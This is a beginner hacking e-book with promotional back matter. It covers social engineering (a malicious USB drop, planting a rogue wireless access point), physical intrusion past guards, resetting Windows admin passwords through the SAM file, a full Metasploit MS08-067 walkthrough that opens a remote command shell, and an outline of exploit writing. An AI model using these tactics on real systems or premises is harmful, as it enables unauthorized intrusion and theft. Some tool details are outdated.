



# HACKING

**EASY HACKING FOR BEGINNERS  
HOW TO HACK COMPUTERS, PENETRATION  
TESTING AND CRACKING SECURITY**

**A N D R E W M C K I N S E Y**

# **Hacking**

***Easy Hacking for Beginners – How to  
Hack Computers, Penetration Testing and  
Cracking Security***

**Copyright 2016 by Andrew Mckinsey - All rights reserved.**

This document is geared towards providing exact and reliable information in regards to the topic and issue covered. The publication is sold with the idea that the publisher is not required to render accounting, officially permitted, or otherwise, qualified services. If advice is necessary, legal or professional, a practiced individual in the profession should be ordered.

- From a Declaration of Principles which was accepted and approved equally by a Committee of the American Bar Association and a Committee of Publishers and Associations.

In no way is it legal to reproduce, duplicate, or transmit any part of this document in either electronic means or in printed format. Recording of this publication is strictly prohibited and any storage of this document is not allowed unless with written permission from the publisher. All rights reserved.

The information provided herein is stated to be truthful and consistent, in that any liability, in terms of inattention or otherwise, by any usage or abuse of any policies, processes, or directions contained within is the solitary and utter responsibility of the recipient reader. Under no circumstances will any legal responsibility or blame be held against the publisher for any reparation, damages, or monetary loss due to the information herein, either directly or indirectly.

Respective authors own all copyrights not held by the publisher.

The information herein is offered for informational purposes solely, and is universal as so. The presentation of the information is without contract or any type of guarantee assurance.

The trademarks that are used are without any consent, and the publication of the trademark is without permission or backing by the trademark owner. All trademarks and brands within this book are for clarifying purposes only and are the owned by the owners themselves, not affiliated with this document.

# Table of Contents

[Introduction](#)

[Chapter 1: Hacking – The Fundamentals](#)

[Chapter 2: Penetration Testing – The Basics](#)

[Chapter 3: The Exploits](#)

[Conclusion](#)

[Preview of ‘Apps: Make Your First Mobile App Today-App Design, App Programming and Development for Beginners’](#)

[Check out my other books](#)

[Bonus: Subscribe to The Free 10X Your Potential Toolkit](#)

# Introduction

I want to thank you and congratulate you for purchasing this book, “***Hacking: Easy Hacking for Beginners – How to Hack Computers, Penetration Testing and Cracking Security***”

This e-book will teach you the fundamentals of ethical hacking. Aside from discussing the basics of computer attacks, this book will also provide you with the tools and tricks used by elite hackers. Additionally, it contains detailed instructions, actual codes and screenshots, thus, you can master the topics covered in this book without exerting too much effort.

Computer hacking requires advanced networking and programming skills. You won't become a skilled hacker if you don't even know how to use Java or scan network ports. To help you have a great start, this e-book will give you a crash course in programming. After reading this book, you can start conducting penetration tests and write your own exploits.

Thanks again for purchasing this book, I hope you enjoy it!

# Chapter 1: Hacking – The Fundamentals

In general, the term “hacking” refers to the process of accessing a computer or network without the user's approval. The “hacker” (i.e. the person who performs the action) uses his/her skills and tools to break the target's defenses. According to computer experts, the most dangerous aspect of hacking is that it doesn't end once the unauthorized access has been established. Most hackers execute an attack to steal information, destroy systems, or prevent authorized users from logging in. Because of this, hacking is considered as an illegal activity. Many countries have existing laws that prohibit hacking.

However, it is important to point out that hacking has positive aspects, too. For example, you can hack a computer or network to test its defenses. This process, which is called “penetration testing,” allows businesses and organizations to enhance their defenses against the bad guys. Some organizations are actually willing to hire hackers as part of their security team. With this approach, organizations increase their chances of detecting, stopping and preventing hacking attacks.

## Two Kinds of Hackers

Computer experts divide hackers into two kinds – black hat and white hat. Let's discuss each kind of hacker in detail:

- **Black Hat** – These people hack systems with malicious intentions. They use their skills to view/steal confidential information or bring the target network down. In some cases, black hat hackers install keyloggers and other malware into their victim's computer to collect sensitive information (e.g. credit card numbers, social security numbers, etc.). If you'll ask someone to describe a hacker, he/she will likely describe a black hat one.
- **White Hat** – A white hat hacker uses his skills and tools to help companies and organizations. He/she performs harmless attacks to test the target's defenses and find potential weaknesses, then he/she will submit the information to the business owner or network administrator. This way, the authorized people can implement the necessary changes and strengthen the network's digital security.

At this point, you should know that there are only two main differences between a black hat hacker and a white hat hacker. These differences lie on the person's intentions and whether he/she has the user's permission. White hat hackers hack systems to help in boosting the targets' defenses, thus, they need to get the permission from the network owner or administrator before doing any action. Black hat hackers, on the other hand, do their magic “in the shadows.” They hack systems for malicious reasons.

**Important Note:** Hacking can get you incarcerated. Because of that, this book will focus on white hat (also known as “ethical”) hacking. This way, you can use your knowledge and skills without breaking the law.

## **Chapter 2: Penetration Testing – The Basics**

A penetration test is a process where a hacker attempts to gauge the security of a network. He does this by gathering information about the target and launching hacking attacks. Obviously, the hacker needs to follow certain procedures and use computer programs to carry out the test. Abstract knowledge isn't enough to break a network's defenses.

To help you become a skilled ethical hacker, this chapter will discuss the exact steps that you need to take when conducting a penetration test. It will provide detailed instructions, explanations and examples to help you master the topic. Additionally, it will tell you the best hacking tools for each procedure. Study this material carefully if you want to become a successful hacker.

This chapter consists of three parts: (1) reconnaissance, (2) tools and (3) conducting the penetration test.



## Reconnaissance

This is the first part of the hacking process. Here, you will gather information about your target using different tools and techniques. Elite hackers consider this as the most important aspect of any penetration test – the information gathered here helps in identifying the best points of attack and the tools that must be used for the process. You can significantly increase your chances of success by spending enough time in the reconnaissance phase. Here are three techniques that you can use: *Social Engineering*

Basically, the term “social engineering” refers to the process of establishing a false relationship with a victim to force him to do things that he wouldn't do for strangers. For example, you can use a social engineering attack to get the phone number or credit card information of your targets. In this part of the book, you will learn about the social engineering tricks that you can use while hacking networks.

- The Missing Drive – This trick is simple and effective. When using this trick, you just have to pretend that you have found a USB drive in the target's building. You'll just walk up to the front desk and inform the people there about the “missing USB drive” that you have found. The USB drive involved here may contain a malicious program (e.g. a keylogger or a remote console application). To enhance the effectiveness of this trick, you may place the target's logo on the USB drive or write some interesting note on it (e.g. Employee Bonus 2016).

Your main goal is to encourage the front desk officers to plug the USB drive into one of their computers. Once this is done, the program inside the drive will run automatically and install its contents onto the client. The delivery aspect of this trick is clear and simple. The most difficult part lies in preparing the USB drive.

- The Meeting – This attack aims to install an unauthorized WAP (i.e. wireless access point) onto the target's network. When conducting this attack, you need to communicate with your target personally. Here, you need to set a meeting with your target (i.e. preferably a manager) with the pretext that you are considering a huge business transaction with the company. Make sure to set the meeting a few minutes after lunch and arrive about 45 minutes before the schedule.

Talk to the receptionist about your meeting and claim that you came early because you did something in a place nearby. Then, have an accomplice call you on the phone. Once the call comes in, ask the receptionist about a place where you can take the call privately. There's a great chance that she will offer you a conference room. Get inside the room and install your WAP onto a wall jack. Make sure that the WAP is hidden. Lastly, connect the access point to the network using a cable.

## Physical Penetration

According to expert hackers, the best way to collect information during a penetration test is by accessing the target physically. This approach allows you to gather tons of data and connect these to the target's digital infrastructure without worrying about border security. Obviously, attacking a target becomes easy and simple if you can get inside it. Even the great city of Troy fell when a wooden horse got inside its territory.

In this part of the book, you'll learn about several techniques that you can use to get inside your target. Keep in mind that these techniques help you in accessing the target, not attacking it. You'll discover the actual attacks in the next section.

- The Smoker's Entrance – Employees are usually not permitted to smoke inside the company's building. Because of this, most companies place their smoke areas close to a secondary entrance. Often, this kind of door doesn't have any security mechanism.

Hackers get inside the target building using three things - a lighter, a cigarette pack and a homemade ID badge. It would be best if you'll spend some time monitoring and watching the employees as they enter and exit the building. This approach helps you in mimicking the behaviors of the company's employees. Make sure that your appearance suggests that you have spent several hours doing your tasks and exited the building just a few minutes ago. Never do this trick if you look like you just got out of the bathroom.

- Checkpoints – Some companies have checkpoints that are manned by an employee (e.g. reception area, guard desk, etc.). Often, visitors should get an appropriate badge before entering the building. When it comes to high-rise or multi-floor buildings, the desk is often located between the entrance and the elevators. In high security buildings, however, employees and visitors need to pass through a mantrap or a turnstile. These setups sound intimidating. However, you can get past these defensive structures easily if you will use logic and creativity.
  - Multi-tenant Buildings – The strategy that you will use in this kind of setup is straightforward. You'll just go to the guard's desk or receptionist, present an ID and state the reason for your visit. The

person in charge will talk to the person or company you wish to visit, confirm your appointment and tell you where to go. Usually, you will receive a visitor badge with your name and photo in it.

The badge that you received will allow you to get inside the building. If the place you are attempting to break in does not have an ID system or any turnstile, you can get inside the elevators easily. You can maximize the benefits offered by a visitor badge by going straight to the bag checker/s. These people will see your badge and think that you've been checked by the guard at the building's entrance. The guard at the entrance, on the other hand, will likely assume that his colleagues in the upper floors will facilitate the bag check.

- Single-Tenant Structures – If a company owns the building it is in, it usually implements its own security procedures. That means the strategy that you will use is different from the one outlined above. Although you can check the type of badge system used, you only have one chance to get into the building. You may get past the target's defenses by setting up an appointment. However, the security personnel will likely walk you to the checkpoint or lobby and get the visitor badge as soon as the meeting is done.

According to elite hackers, the best way to get inside the building is to work as a group. This approach allows you to get past the checkpoint while your accomplices distract the guards.

## Insider Attacks

The techniques discussed above can help you in gathering information about your target and getting access to it. In this part of the book, you'll learn about the attacks that you can use to exploit your target.

- The Preparations – The attacks that you will execute depend on the target you're trying to hack. In general, you should work using the computers provided by the target and start with little information about the security mechanisms implemented in it. Assume that you cannot download anything from the internet, thus, you should bring all of your tools with you even before entering the target's premises. Store your tools in a CD or thumb drive so you can hide and carry them easily.

Because the built-in equipment of your target may be centrally controlled, partially locked or completely hardened, you need to bring bootable media that can provide high-level access to the network and local computer. Also, you should have a hard disk with a pre-installed OS (i.e. operating system). This tool becomes extremely useful when you are working on a computer with full drive encryption and inaccessible CMOS.

- The Initial Phase – While doing a penetration test, you will surely encounter a Windows machine: a laptop or personal computer that runs on a Windows operating system. This kind of machine is usually connected to a LAN (i.e. local area network) and uses the domain login of Microsoft Windows. Log in to the computer and check the system. Use the “file explorer” feature of the machine to navigate the network. You may find some drives and domains you already have access to.

The main objective of an insider attack is to collect information about the target, thus, you have to search for files and servers with interesting names (e.g. HR, Payroll, Engineering, etc.). After discovering the limits of your access and the important parts of the network, you can elevate your user privileges.

- Getting Admin Privileges – Each computer has several pre-installed accounts, some of which have high-level privileges. Often, the

account with the highest access privileges is called “Administrator.” However, most network admins rename the account to protect it from hackers. If you encounter this kind of defensive strategy, look for the user group called “Administrators.” This group houses almost all of the admin accounts in a computer, regardless of their name. You can check the members of this group by accessing your command prompt and running the following command: `net localgroup Administrators`

The simplest way to access the admin account is to give it a new password. Resetting the password while the system is running requires you to enter the current password of the account. All Windows machines protect user passwords so that none of the users can view it while the OS is active. There are programs that can help you in accessing the password file, but they may trigger an alert if your target has a network-wide antivirus system.

To reset the admin account's password, bring a removable storage that contains an OS. Plug the removable drive into the computer and reboot it. This time, make sure that the computer runs the OS inside the new drive. Since you are no longer using the computer's OS, you can access the password file (also known as “SAM”). Usually, you'll find the computer's SAM file in this directory: `Windows/system32/config`.

## Tools

This part of the book will focus on the tools that you can use when performing a penetration test. Here, you will learn about two powerful tools used even by the best hackers. These tools are called BackTrack and Metasploit. Let's discuss each tool in detail: *BackTrack*

Basically, BackTrack is a Linux platform designed for penetration testing. It is completely free and contains the latest hacking tools. All of the pre-installed programs have the best settings and the required libraries. Additionally, these programs are grouped according to their functions. This is the reason why elite hackers consider BackTrack Linux as an all-in-one hacking tool.

This operating system is available as an ISO file. Once you have this file, you can burn Linux into a disc, write it onto a thumb drive, boot it straight from a virtual machine, or install it into the hard disk of a machine. Although the contents of BackTrack amount to 5GB in total, you can use it as an ISO file, which “weighs” 1.5GB. BackTrack Linux is a comprehensive hacking tool that can run on a wide range of hardware, thus, you can use it on your computers without changing any setting.

### *How to Install BackTrack to a DVD or a Thumb Drive*

The developers of BackTrack Linux had stopped working on this project. Thus, they won't create improved versions or fix the existing bugs. However, you can still get this software for free. You just have to visit [www.backtrack-linux.org/downloads/](http://www.backtrack-linux.org/downloads/). In this chapter, you'll learn how to “burn” BackTrack onto a removable storage. Your computer needs to have DVD-burning capabilities before you can do the instructions given below.

If you are using a Windows 7 (or later) computer, you won't have to download any program. Your OS has a built-in DVD-burning functionality. If you are using a Windows XP computer, however, you need to download a program that can burn data onto a removable storage. These days, one of the best free programs is ISO Recorder. You can get this software from

<http://isorecorder.alexfeinman.com/isorecorder.htm>. Once you have downloaded ISO Recorder, right-click on the ISO file of BackTrack and choose the option that says “Copy Image to Disk”. The screen will show a dialog box – just click on the button that says “Next” and you're good to go.

You can also store BackTrack onto a thumb drive. As you probably know, thumb drives are better than DVDs when it comes to speed and quietness. The best way to create a BackTrack flash drive is to download and launch a tool called “UNetbootin.” This program allows you to create a bootable drive by extracting the contents of BackTrack onto your removable storage.



## Metasploit

Metasploit is a framework that allows you to download, create and run exploits for the known weaknesses of computer software. You can get the Metasploit framework for free. This framework comes with built-in topnotch exploits for numerous computer vulnerabilities.

## *How to Get Metasploit*

The Metasploit framework runs on BSD, Windows (through Cygwin), Linux and Mac computers. To get this framework, just visit [www.metasploit.com/framework/download/](http://www.metasploit.com/framework/download/). The download process may take some time, depending on the OS you are using.

## *How to Use Metasploit*

To help you understand how Metasploit works, let's discuss a weakness of Windows XP that resulted to the super worm called Conficker. This vulnerability, called MS08-067, allows you to install a command prompt onto the target computer, generate an admin account, and trigger a remote computer session.

Beginners should focus on the following Metasploit commands:

- use <name\_of\_exploit>
- show <payloads | exploits>
- info <payload | exploit> name\_of\_exploit

Important Note: You can get more Metasploit commands by entering “?” or “help”.

The first thing you need to do is run a Metasploit search for the target vulnerability. The Metasploit command called “search” can help you with this task. Just type “search” followed by the vulnerability. For this example, you need to type “search MS08-067”. Your screen will

```
msf > search ms08-067
[*] Searching loaded modules for pattern 'ms08-067'...
Exploits
=====
Name                               Rank  Description
----
windows/smb/ms08_067_netapi  great  Microsoft Server Service Relative Path
                                         Stack Corruption
```

show you this: The name of this exploit in the Metasploit framework is windows/smb/ms08\_067\_netapi. You should use this exploit and search for the

```
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
```

options that can make it work:

As you can see, the command prompt becomes “exploit mode” as soon as you choose an exploit. The system will remember all of the variables and options that you will set for the exploit, which means you won't have to repeat things each time you use that exploit. If you want to go back to the original screen, just type “back” into the terminal. Here's screenshot:

```
msf exploit(ms08_067_netapi) > back
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
```

The options available to you differ based on the exploit you are using. Here are the options that you should set to launch the current exploit:

```
msf exploit(ms08_067_netapi) > show options
Module options:
  Name      Current Setting  Required  Description
  ----      -
  RHOST      RHOST             yes       The target address
  RPORT      445               yes       Set the SMB service port
  SMBPIPE    BROWSER           yes       The pipe name to use (BROWSER, SRVSVC)
```

This exploit needs three things - the address of your target, the port used by SMB (i.e. server message block), and the pipe that exposes the functionality. The command that you should enter is:

```
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.6
RHOST => 192.168.1.6
```

Based on the command given above, the syntax for setting options is:

*set <name\_of\_option> <the\_option>*

After setting the exploit, prepare the payload. Basically, the term “payload” refers to the activity that will occur once the weakness has been exploited. By setting the payload, you are specifying the interaction that you want to happen once the weakness is successfully triggered.

In this example, you should choose a payload that launches a Windows command shell. Your screen will look like this:

```

msf exploit(ms08_067_netapi) > search "Windows Command Shell"
[*] Searching loaded modules for pattern 'Windows Command Shell'...
Compatible Payloads
=====

```

Name	Rank	Description
windows/shell/bind_ipv6_tcp	normal	Windows Command Shell, Bind TCP Stager (IPv6)
windows/shell/bind_nonx_tcp	normal	Windows Command Shell, Bind TCP Stager (No NX Support)
windows/shell/bind_tcp	normal	Windows Command Shell, Bind TCP Stager
windows/shell/reverse_ipv6_tcp	normal	Windows Command Shell, Reverse TCP Stager (IPv6)
windows/shell/reverse_nonx_tcp	normal	Windows Command Shell, Reverse TCP Stager (No NX Support)
windows/shell/reverse_ord_tcp	normal	Windows Command Shell, Reverse Ordinal TCP Stager
windows/shell/reverse_tcp	normal	Windows Command Shell, Reverse TCP Stager
windows/shell/reverse_tcp_allports	normal	Windows Command Shell, Reverse All-Port TCP Stager
windows/shell/reverse_tcp_dns	normal	Windows Command Shell, Reverse TCP Stager (DNS)
windows/shell_bind_tcp	normal	Windows Command Shell, Bind TCP Inline
windows/shell_reverse_tcp	normal	Windows Command Shell, Reverse TCP Inline

As your screen shows, Metasploit has multiple payloads that can launch a command shell. Each of these payloads has different functionalities. Because the computer you're working on doesn't have an active firewall, you should use a basic `bind_tcp` exploit. Here is the command:

```

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp

```

Important Note: If your target has a firewall, you should look for payloads that can force the target computer to link back to your machine. Issue the following code:

```

msf exploit(ms08_067_netapi) > show options
Module options:

```

Name	Current Setting	Required	Description
RHOST	192.168.1.6	yes	The target address
RPORT	445	yes	Set the SMB service port
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/shell/bind\_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique: seh, thread, process
LPORT	4444	yes	The local port
RHOST	192.168.1.6	no	The target address

If launched using its default settings, the exploit will create a port listener on the port 4444 of TCP. This allows you to run the Windows command shell. Your screen will look like this:

```
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.1.6
[*] Command shell session 1 opened (192.168.1.4:49623 -> 192.168.1.6:4444)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>echo w00t!
echo w00t!
w00t!
```

The process worked perfectly. You can verify the result using a Windows command called “netstat”. Access the command prompt of your target and issue the command. The screen will show you this:

```
C:\>netstat -ano | findstr 4444 | findstr ESTABLISHED
TCP      192.168.1.6:4444      192.168.1.4:49623    ESTABLISHED    964
```

## Conducting the Penetration Test

In this part of the book, you'll learn how to plan, structure and execute a penetration test. Additionally, you'll know how to submit the results that you will get.

Let's divide penetration tests into their distinct phases:

- The Planning Phase– During this phase, you should consider the scope, type, location and methodology that you will use for the penetration test.
  - Scope – This is the most critical part of the planning stage. Before hacking your target, determine whether you should test the entire network or just a small part of it. You can't create an effective plan if you don't even know your limitations.
  - Type – There are two major types of penetration tests: White-Box and Black-Box. Let's discuss each type in detail:
    - White-Box – In this kind of test, the hacker/s can access information about the target freely. For instance, the network owner may provide the hacker with asset records and network diagrams. In most cases, companies and organizations choose this type when the time and budget allocated for the penetration test are tight.
    - Black-Box – Here, the hacker doesn't know anything about his target. Often, he will need to begin the penetration test just by using the name of the company or organization. This type of penetration test is the most effective and realistic. Obviously, malicious hackers who want to access a network will start with nothing.
  - Location – This aspect helps you determine the amount of time and effort that you need to spend for the penetration test.
  - Methodologies – Implement a testing methodology if you want to maximize the results that you will get from your efforts. Currently, there are three major hacking methodologies that you can choose from. These methodologies are:
    - ISSAF – This is one of the latest hacking methodologies available today. Basically, ISSAF consists of several

domains. It provides ethical hackers with testing and assessment criteria for every domain it contains.

- OWASP – This methodology has produced popular resources, standards and training materials. It can also provide you with the best vulnerabilities and exploits that you should use.
- OSSTMM – White hat hackers consider this as the most popular methodology today. It covers all of the aspects of a penetration test. The main objective of this methodology is to create a method that, if used, will guarantee a quality penetration test regardless of the tester or the target.
- The Structuring Phase - In this phase, you should identify the schedule and description of the hacking techniques that you will use. You also need to finalize the payment terms as well as the overall budget for the penetration test.
- The Execution Phase – Now that you have a detailed plan and structure, you're ready to test the target's electronic defenses. Here are the main aspects of the execution stage:
  - Getting the Access – You should have a detailed list of all the resources that you need from the company or organization. For instance, you may need a room inside the building so that you and your teammates (if any) can execute the test without any disturbance. You may also request for an access to the network, internet connection, several cables and some computers.
  - Setting Expectations – You and your client will experience different emotions during a penetration test. As a hacker, you should communicate with the POC (i.e. point of contact) on a regular basis. Limit the information that you will share with your client. It would be best to complete the test before disclosing anything to the network owner or administrator. Elite hackers follow this simple rule: “promise less and achieve more”.
  - Handling Problems – Different issues may crop up during a penetration test. For instance, you may accidentally bring down the



network. In this kind of situation, you should communicate with the POC and solve the issue as soon as possible. You also need to disclose any problem as soon as possible. Here's another principle that elite hackers follow: “bad things don't improve with time”.

- The Reporting Phase – After completing the test, you should share the information with your client. Here's the outline that you need to use when preparing the report:
  - Table of Contents
  - Summary
  - The methodology you used
  - Findings and their impacts
  - Recommendations
  - Appendix (e.g. screenshots and detailed records)

## Chapter 3: The Exploits

An “exploit” is a program, which allows you to take advantage of a computer vulnerability. You've learned about a powerful exploit framework called Metasploit. In this chapter, you'll learn about the basic exploitation concepts for Linux and Windows machines. This information will help you to test the defenses of computers that run on a Linux or Windows OS.

## **For Linux Computers**

This part of the book will focus on two concepts for Linux systems. These concepts are:

## Local Buffer Overflow

In this kind of exploit, you will trigger a buffer overflow in the targeted system and change its eip (i.e. extended instruction pointer). Keep in mind that a system eip links to the next batch of instructions that you will run. By altering the eip's value, you will be able to run your instructions to your target computers. Here are the things you need to trigger a buffer overflow:

- Shellcode – The term “shellcode” refers to a code that performs the hacker's commands. Before, hackers used shellcodes just to send basic shells to the infected computer. These days, however, this term covers everything that a hacker wants to do on his/her target.
- NOP Sled – In programming, “NOP” forces the machine to standby and proceed to the succeeding commands. Programmers use this device for padding purposes. For hackers, on the other hand, NOP can help in introducing an exploit's buffer. This strategy, known as “NOP Sled”, forces the computer to work on the next code components.
- Return Address – Hackers consider this as the most crucial part of a buffer overflow exploit. The return address should be perfectly aligned and repeat continuously until the eip value is overflowed.

## Format String Exploit

Hackers discovered this exploit back in 2000. In general, string errors are better than buffer overflows in terms of discoverability. You can spot string errors easily in your binary and source code analysis. These days, automated processes can detect and eliminate string errors. Hackers are now looking for better alternatives. However, since this exploit is simple and basic, you should understand this completely before analyzing complex ones.

You will find format strings in formatting functions. Simply put, the formatting function may behave differently based on the string being processed. Here are some of the format functions that you'll encounter during a penetration test:

- `printf()` – This function prints the output to a standard I/O (i.e. Input/Output) device.
- `fprintf()` – With this function, you can print outputs to your preferred file stream.
- `snprintf()` – This function allows you to send your output to an existing string. This string has a built-in length-check functionality.
- `sprint()` – Use this function to send your output to an existing string.

## **For Windows Computers**

In most cases, you'll be hacking a computer that runs on a Windows operating system. You surely know that majority of the computers in the whole world are using Windows (e.g. XP, Vista, 7, etc.), thus, if you want to be a successful hacker, you should know how to write your own Windows exploits.

## Writing a Windows Exploit

In this part of the book, you'll write your own program. Don't worry if you have never programmed anything before. This section contains codes and detailed instructions – you won't experience any problems in completing this exercise.

Important Note: Your computer should have the command shell of Ruby. If you are using a Windows computer, you should visit <http://rubyinstaller.org> and download the latest version of the software.

Here are the steps that you need to take when writing an exploit:

- Controlling the eip – In this phase, test the vulnerability of your network. You can complete this task by launching a Ruby command shell and typing “prosshd1.rb”.

Important Note: The “prosshd1.rb” script will only work if your computer has net-scp and net-ssh. If your machine doesn't have these “rubygems”, you should open a terminal and type: `gem install net-scp`. Then, follow it up with “`gem install net-ssh`”.

- Determining the offset/s – Three things should happen during this phase:
  - Your debugger will catch an exception
  - The eip's value will hold a portion of the previous instruction.
  - The “esp” (i.e. extended stack pointer) will hold some portions of the previous instruction.
- Determining the vector – Your attack will only work if you have an attack vector. When an application crashes, you will usually find the buffer of one of the computer's registers. It's important to point out that you can control the part of the stack where the application has crashed.
- Creating the “sandwich” – Here, you will combine the codes you've written to create an “exploit sandwich.”

Important Note: It would be best to write the shellcode after your NOP

Sled. Metasploit shellcodes need some vacant space in the stack to complete their decoding process.

- Debugging the exploit (i.e. if necessary) – If your exploit crashes, it's possible that your shellcode contains an invalid character. This situation occurs every now and then because the targeted program may react to some of the characters you used in the code. These reactions may alter or cancel your exploit.

You can fix this problem easily. Everything will work out as planned as soon as you locate and replace the invalid character/s. The easiest approach that you can use is reading your debugger's memory dump and comparing it with the code you wrote. Alter the script, launch the exploit and rerun the debugging procedure. Repeat this process until the program works perfectly.



## Conclusion

Thank you for reading this book.

I hope this book was able to teach you the basics of computer hacking.

Now, you should practice your hacking skills by setting up virtual machines in your computer. This kind of “hacking lab” will let you improve your skills without destroying your machines.



Finally, if you enjoyed this book, then I'd like to ask you for a favor, would you be kind enough to [leave a review](#) for this book on Amazon? It'd be greatly appreciated!

[Click here to leave a review for this book on Amazon!](#)

Thank you and good luck!

# **Preview of ‘Apps-Make Your First App Today-App Design, App Programming and Development for Beginners’**

## **Chapter 1 - App Development: The Things You Should Know**

Developing an app is a complex task. It involves various features, languages, dimensions and platforms. This e-book will teach you the principles and techniques that you can use to create robust applications. Specifically, you will learn how to create mobile apps that can connect to remote services and run gadget-specific features. By reading this material, you'll discover the “what,” “why,” “when,” and “how” of developing mobile applications.

In this chapter, you will learn about the basics of app development. It will arm you with the fundamental facts and ideas related to the creation of apps.

## **The Costs**

Developing an app involves different types of costs. You need software and hardware to start developing an application. You also need machines to test your software. Additionally, if you're planning to release your apps to the market, you need to establish a “market account.”

Let's discuss the costs that you'll encounter while developing an application:

### *Hardware*

To create excellent apps, you need to get an Intel-based Macintosh computer. This kind of machine allows you to build iOS versions of your apps quickly and easily. In addition, you can install a Windows operating system on your Intel-Based Mac using a “virtualization system” (e.g. VMWare Fusion).

Aside from the computer, you also need to get several monitors. While debugging an application, you need to analyze your source code and interact with the program. Most developers use three monitors: they run a simulator/emulator on the first one, an IDE on the second and instructions/documentations on the third.

You should know that simulators and emulators are excellent tools. However, they also have distinct weaknesses. If you really want to be a successful app developer, you need to get an emulator and a simulator for each device you're developing for.

## Software

While developing an application, you'll experience some overlaps regarding software. You should get a Mac computer to build iOS apps, a Windows computer to build Blackberry apps, and Eclipse to build Java-based programs. You can use your preferred text editor (e.g. Notepad) for building HTML content for PhoneGap.

The list given below will show you the most popular mobile platforms and the software they require: iOS – xCode 4 (or higher) and iOS SDK

Android – Eclipse and Android SDK

Windows – Expression Blend, Visual Studio, and Windows Phone SDK

Titanium – Android software, Titanium Studio, iOS software, and Titanium Mobile SDK

PhoneGap – iOS software, Android software, PhoneGap plugin, and

Windows Phone software Framework Text Editor – Notepad++(for Windows) and Textmate (for Mac) Developer Accounts and Market Licenses

The list given below shows information about the accounts required in developing a mobile platform. Currently, app developers pay about \$100/platform per year.

- Android – You need to visit this site: <https://market.android.com/publish/signup>. In this platform, you'll get seventy percent of the app's price. The remaining amount will go to the carrier/s and credit/debit card processors.
- iOS – Visit this site: <http://developer.apple.com/programs/start/standard/create.php>. This platform allows you to develop apps for up to one hundred gadgets. You will get seventy percent of the total sales. You won't have to pay for any cost regarding app distribution.
- Windows Phone – Check this website: <http://create.msdn.com/en-US/home/membership>. You can submit any number of paid applications to this platform. However, the free apps you can submit are limited to 100. Thirty percent of the total sales will go to the distributor. The remaining amount will be credited to your account.
- Titanium – Here is the site that you need to visit: <https://myappceleratorcom/auth/signup/offer/community>. This

platform doesn't require any fee.

[Click here to check out the rest of 'Apps-Make Your First App Today-App Design, App Programming and Development for Beginners' on Amazon.](#)

Or go to: <http://amzn.to/1Mnw8cx>

## Check Out My Other Books

Below you'll find some of my other popular books that are popular on Amazon and Kindle as well. Simply click on the links below to check them out. Alternatively, you can visit my author page on Amazon to see other work done by me.

[Style: The Lady's Guide to French Style, Fashion and Beauty-Get Dressed to Look Charm and Elegant](#)

[Survival-The Advanced Survival Guide to Survive Anywhere in the World](#)

[Interview: Get Your Desired Dream Job-Learn How to Prepare Job Interview, Master Interview Skills and Answer All Interview Questions](#)

[Apps: Make Your First Mobile App Today-App Design, App Programming and Development for Beginners](#)

[Marriage: Save your Marriage Today-Rebuild Connection, Intimacy, Trust, Love and Communication](#)

[Body Language: Master The Art of Reading People's Mind through Nonverbal Communication and Body Cues](#)

[Hacking: Easy Hacking for Beginners-How to Hack Computers, Penetration Testing and Cracking Security](#)

[Photography A Complete Beginner's Guide on Taking Amazing and Stunning Photographs- Gaining Creative Control, Mastering Aperture, Shutter Speed, ISO and Exposure](#)

[Paleo Diet: 20 Best, Delicious and Easy Paleo Recipes and Paleo Diet for Beginners to Lose Weight Effectively](#)

[How to Learn Social Dynamics and The 8 Qualities that Naturally Attract Woman](#)

[Get the Girl to Chase You and Build Emotional Connection with Her](#)

[Getting Beautiful Woman into Bed & Keeping a Relationship with Her, Calibration Techniques and Building an Attract Social Lifestyle](#)

[How to Approach Women, Start a Conversation and be the Most Interesting Guy in the Room](#)

[The Productivity Kit: The 4 Simple Steps to Maximize Productivity, Stop Procrastination, Eliminate Distractions and Work in the State of Flow](#)

If the links do not work, for whatever reason, you can simply search for these titles on the Amazon website to find them.



## **Bonus: Subscribe to The Free 10X Your Potential Toolkit**

When you subscribe to Beyond Mediocrity via email, you will get free access to a toolbox of exclusive subscriber-only resources. All you have to do is enter your email address to the right to get instant access.

This toolbox of resources will help you get more out of your life— to be able to reach your goals, have more motivation, be at your best, and live the life you’ve always dreamed of. I’m always adding new resources to the toolbox as well, which you will be notified of as a subscriber. These will help you live life to the fullest!

### **Here are the details of what you’ll get:**

My 12-Step Morning Ritual Process To Being Unstoppable Everyday (Video & Article). In this 35 minute video, I will walk you through step-by-step my entire morning ritual process, and help you be able to create your own to start your day being motivated, happy, and productive.

My 7-Step Proven Method to Creating the Life of Your Dreams (Video, Article & Spreadsheet). Follow these 7 proven steps to create an ultimate vision, purpose, and action plan for each area of your life. This planning process will give you an incredible sense of clarity for what you really want for your life and will help you make it a reality.

How to Change Any Negative Behaviour or Emotion Instantly (Video & Article). This simple exercise will give you the ability to change any negative behaviour, emotion, or pattern that is currently holding you back in your life (such as, procrastination, depression, sleeping in, etc...) and be able to replace it with an empowering alternative.

The 6 Steps to Emotional Mastery (Article). The quality of your life is the quality of the emotional states you live in consistently. This article will help you to be able to master your emotions, which will give you more freedom and fulfillment.

To get instant access to these incredible tools and resources, click the link below:  
[Click here for the 10X Your Potential Toolkit.](#)

Or you can access it here: <http://bit.ly/1TXNsGS>